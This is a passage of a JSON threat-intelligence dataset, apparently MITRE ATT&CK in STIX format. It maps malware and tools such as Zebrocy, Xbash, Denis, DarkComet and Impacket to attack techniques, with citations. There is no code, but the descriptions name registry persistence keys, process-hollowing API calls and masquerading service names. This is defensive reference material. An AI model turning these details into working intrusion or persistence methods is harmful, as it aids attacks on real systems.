            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--7a0d4c09-dfe7-4fa2-965a-1a0e42fedd70",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "relationship_type": "uses",
            "id": "relationship--e305d328-ba42-4023-ac62-1656e3242d49",
            "external_references": [
                {
                    "source_name": "Netscout Stolen Pencil Dec 2018",
                    "url": "https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/",
                    "description": "ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."
                }
            ],
            "description": "(Citation: Netscout Stolen Pencil Dec 2018)",
            "type": "relationship",
            "modified": "2019-06-24T19:09:46.322Z",
            "created": "2019-02-05T17:56:55.638Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055",
            "external_references": [
                {
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.",
                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "source_name": "Impacket Tools"
                }
            ],
            "description": "[Impacket](https://attack.mitre.org/software/S0357)'s wmiexec module can be used to execute commands through WMI.(Citation: Impacket Tools)",
            "relationship_type": "uses",
            "id": "relationship--891f701a-b0d3-408a-8e2c-e9d9e727930e",
            "type": "relationship",
            "modified": "2019-04-18T21:49:12.805Z",
            "created": "2019-02-07T14:02:20.869Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "tool--26c87906-d750-42c5-946c-d4162c73fc7b",
            "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "external_references": [
                {
                    "description": "SecureAuth. (n.d.).  Retrieved January 15, 2019.",
                    "url": "https://www.secureauth.com/labs/open-source-tools/impacket",
                    "source_name": "Impacket Tools"
                }
            ],
            "description": "[Impacket](https://attack.mitre.org/software/S0357) modules like ntlmrelayx and smbrelayx can be used in conjunction with [Network Sniffing](https://attack.mitre.org/techniques/T1040) and [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001) to gather NetNTLM credentials for [Brute Force](https://attack.mitre.org/techniques/T1110) or relay attacks that can gain code execution.(Citation: Impacket Tools)",
            "relationship_type": "uses",
            "id": "relationship--0318431e-ad44-44c7-97be-686d4efe79f4",
            "type": "relationship",
            "modified": "2020-03-31T22:20:18.066Z",
            "created": "2019-02-07T19:13:01.960Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                },
                {
                    "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.",
                    "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50",
                    "source_name": "Accenture SNAKEMACKEREL Nov 2018"
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) creates an entry in a Registry Run key for the malware to execute on startup.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: Accenture SNAKEMACKEREL Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--8839b4ad-24cb-4ad3-a407-947f75591973",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.911Z",
            "created": "2019-02-12T16:33:29.174Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
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            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has a command to delete files and directories.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--c56a229c-f033-4a51-ad5c-251dff28b87e",
            "type": "relationship",
            "modified": "2020-12-09T21:54:33.971Z",
            "created": "2019-02-12T16:33:29.206Z"
        },
        {
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            "object_marking_refs": [
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            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gets the username from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--46452566-0f0f-4fe9-9cef-ef7e3d6eee36",
            "type": "relationship",
            "modified": "2020-12-09T21:54:34.039Z",
            "created": "2019-02-12T16:33:29.217Z"
        },
        {
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            "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses port 465 for C2.(Citation: ESET Zebrocy Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--c9355fe6-d17d-44ff-8098-bed9a4c478bb",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.970Z",
            "created": "2019-02-12T16:33:29.236Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) gathers the current time zone and date information from the system.(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020)",
            "relationship_type": "uses",
            "id": "relationship--07eea18c-048c-4187-a6f1-ca97e9bfc846",
            "type": "relationship",
            "modified": "2020-12-09T21:54:34.109Z",
            "created": "2019-02-12T16:33:29.240Z"
        },
        {
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            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "source_name": "ESET Zebrocy May 2019"
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) uses SSL and AES ECB for encrypting C2 communications.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)(Citation: CISA Zebrocy Oct 2020) ",
            "relationship_type": "uses",
            "id": "relationship--bcb137f0-e92d-47b5-912f-ba8d4f9ff15c",
            "type": "relationship",
            "modified": "2020-12-09T21:53:58.741Z",
            "created": "2019-02-12T16:33:29.284Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
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            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) stores all collected information in a single file before exfiltration.(Citation: ESET Zebrocy Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--c4a2a14a-6fb0-46cf-b97d-c4bcb1c751a7",
            "type": "relationship",
            "modified": "2020-03-17T15:13:26.623Z",
            "created": "2019-02-12T16:33:29.291Z"
        },
        {
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            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "source_name": "ESET Zebrocy May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/",
                    "description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) scans the system and automatically collects files with the following extensions: .doc, .docx, ,.xls, .xlsx, .pdf, .pptx, .rar, .zip, .jpg, .jpeg, .bmp, .tiff, .kum, .tlg, .sbx, .cr, .hse, .hsf, and .lhz.(Citation: ESET Zebrocy Nov 2018)(Citation: ESET Zebrocy May 2019)",
            "relationship_type": "uses",
            "id": "relationship--e9a4ceb4-ed33-48c4-b1f3-f73883b0e207",
            "type": "relationship",
            "modified": "2019-07-17T01:18:32.965Z",
            "created": "2019-02-12T16:33:29.331Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "target_ref": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3",
            "external_references": [
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251) performs persistence with a logon script via adding to the Registry key <code>HKCU\\Environment\\UserInitMprLogonScript</code>.(Citation: ESET Zebrocy Nov 2018)",
            "relationship_type": "uses",
            "id": "relationship--a0f218db-2d79-43b7-b2b8-ef1199ada766",
            "type": "relationship",
            "modified": "2020-01-17T22:26:19.693Z",
            "created": "2019-02-12T16:33:29.335Z"
        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) deploys additional backdoors and hacking tools to the system.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--117ecbd3-b4cd-4ad2-a5f4-30ba79563406",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.815Z",
            "created": "2019-02-12T18:20:09.552Z"
        },
        {
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            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "external_references": [
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) performed process hollowing through the API calls CreateRemoteThread, ResumeThread, and Wow64SetThreadContext.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--1e285f16-a145-46f5-aad3-0ea33392f147",
            "type": "relationship",
            "modified": "2020-03-17T13:23:46.650Z",
            "created": "2019-02-12T18:20:09.578Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "target_ref": "attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c",
            "external_references": [
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) encodes the data sent to the server in Base64.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--56e55812-7622-4e84-96c6-6fc46dd2b541",
            "type": "relationship",
            "modified": "2020-03-20T18:10:10.513Z",
            "created": "2019-02-12T18:20:09.584Z"
        },
        {
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            ],
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) will decrypt important strings used for C&C communication.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--33d24077-13af-4e14-ba79-87ca145c5383",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.845Z",
            "created": "2019-02-12T18:20:09.610Z"
        },
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            ],
            "source_ref": "malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "external_references": [
                {
                    "source_name": "Cybereason Cobalt Kitty 2017",
                    "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.",
                    "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"
                }
            ],
            "description": "[Denis](https://attack.mitre.org/software/S0354) queries the Registry for keys and values.(Citation: Cybereason Cobalt Kitty 2017)",
            "relationship_type": "uses",
            "id": "relationship--31028cf4-870e-490e-871e-ec55814dcef8",
            "type": "relationship",
            "modified": "2019-04-24T20:56:04.846Z",
            "created": "2019-02-12T18:20:09.655Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "source_name": "ESET TeleBots Oct 2018"
                }
            ],
            "description": "The [Exaramel for Windows](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description \u201cWindows Check AV\u201d in an apparent attempt to masquerade as a legitimate service.(Citation: ESET TeleBots Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--cc4635e6-bc84-4c22-a3e0-d09a57f3a888",
            "type": "relationship",
            "modified": "2020-03-17T23:48:04.523Z",
            "created": "2019-02-12T18:39:20.704Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--051eaca1-958f-4091-9e5f-a9acd8f820b5",
            "target_ref": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32",
            "external_references": [
                {
                    "description": "Cherepanov, A., Lipovsky, R. (2018, October 11). New TeleBots backdoor: First evidence linking Industroyer to NotPetya. Retrieved November 27, 2018.",
                    "url": "https://www.welivesecurity.com/2018/10/11/new-telebots-backdoor-linking-industroyer-notpetya/",
                    "source_name": "ESET TeleBots Oct 2018"
                }
            ],
            "description": "The [Exaramel for Windows](https://attack.mitre.org/software/S0343) dropper creates and starts a Windows service named wsmprovav with the description \u201cWindows Check AV.\u201d(Citation: ESET TeleBots Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--90b9f240-cd40-488a-9bbc-bb0c5db07365",
            "type": "relationship",
            "modified": "2019-09-04T23:04:50.193Z",
            "created": "2019-02-12T18:47:45.098Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "description": "TrendMicro. (2014, September 03). DARKCOMET. Retrieved November 6, 2018.",
                    "url": "https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/DARKCOMET",
                    "source_name": "TrendMicro DarkComet Sept 2014"
                }
            ],
            "description": "[DarkComet](https://attack.mitre.org/software/S0334) has dropped itself onto victim machines with file names such as WinDefender.Exe and winupdate.exe in an apparent attempt to masquerade as a legitimate file.(Citation: TrendMicro DarkComet Sept 2014)",
            "relationship_type": "uses",
            "id": "relationship--f82724f9-846b-442e-826c-a38a74a93737",
            "type": "relationship",
            "modified": "2020-03-17T23:43:37.865Z",
            "created": "2019-02-12T19:00:34.566Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can download additional malicious files from its C2 server.(Citation: Unit42 Xbash Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--809ffec1-52a1-45a5-b410-049352b99700",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.502Z",
            "created": "2019-02-12T19:56:02.286Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can create a Startup item for persistence if it determines it is on a Windows system.(Citation: Unit42 Xbash Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--3341ad26-c7a8-4e42-a095-a49e65fde843",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.526Z",
            "created": "2019-02-12T19:56:02.319Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "target_ref": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c",
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can create a cronjob for persistence if it determines it is on a Linux system.(Citation: Unit42 Xbash Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--52c32b71-1b7c-45e9-b082-7f3f16b90f2b",
            "type": "relationship",
            "modified": "2020-03-19T17:59:21.213Z",
            "created": "2019-02-12T19:56:02.342Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                },
                {
                    "source_name": "Trend Micro Xbash Sept 2018",
                    "url": "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/new-multi-platform-xbash-packs-obfuscation-ransomware-coinminer-worm-and-botnet",
                    "description": "Trend Micro. (2018, September 19). New Multi-Platform Xbash Packs Obfuscation, Ransomware, Coinminer, Worm and Botnet. Retrieved June 4, 2019."
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can attempt to exploit known vulnerabilities in Hadoop, Redis, or ActiveMQ when it finds those services running in order to conduct further execution.(Citation: Unit42 Xbash Sept 2018)(Citation: Trend Micro Xbash Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--6706d89e-27dd-48bb-ae0b-db51e07cbc91",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.544Z",
            "created": "2019-02-12T19:56:02.348Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "target_ref": "attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7",
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can obtain a webpage hosted on Pastebin to update its C2 domain list.(Citation: Unit42 Xbash Sept 2018)",
            "relationship_type": "uses",
            "id": "relationship--fc56f0e8-e059-403a-88e4-bd0b61bbc4b7",
            "type": "relationship",
            "modified": "2020-03-20T21:31:36.067Z",
            "created": "2019-02-12T19:56:02.352Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--288fa242-e894-4c7e-ac86-856deedf5cea",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "external_references": [
                {
                    "source_name": "McAfee Oceansalt Oct 2018",
                    "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-oceansalt.pdf",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, October 18). \u2018Operation Oceansalt\u2019 Attacks South Korea, U.S., and Canada With Source Code From Chinese Hacker Group. Retrieved November 30, 2018."
                }
            ],
            "description": "[OceanSalt](https://attack.mitre.org/software/S0346) has been delivered via spearphishing emails with Microsoft Office attachments.(Citation: McAfee Oceansalt Oct 2018)",
            "relationship_type": "uses",
            "id": "relationship--faf1e821-465d-40cc-b523-73f1ba308932",
            "type": "relationship",
            "modified": "2019-02-12T21:14:11.275Z",
            "created": "2019-02-12T20:13:01.196Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
            "description": "[Seasalt](https://attack.mitre.org/software/S0345) has masqueraded as a service called \"SaSaut\" with a display name of \"System Authorization Service\" in an apparent attempt to masquerade as a legitimate service.(Citation: Mandiant APT1 Appendix)",
            "relationship_type": "uses",
            "id": "relationship--597555f7-33e3-4699-9acf-9c7f15a850c9",
            "type": "relationship",
            "modified": "2020-03-18T15:48:36.742Z",
            "created": "2019-02-12T21:28:19.412Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1 Appendix"
                }
            ],
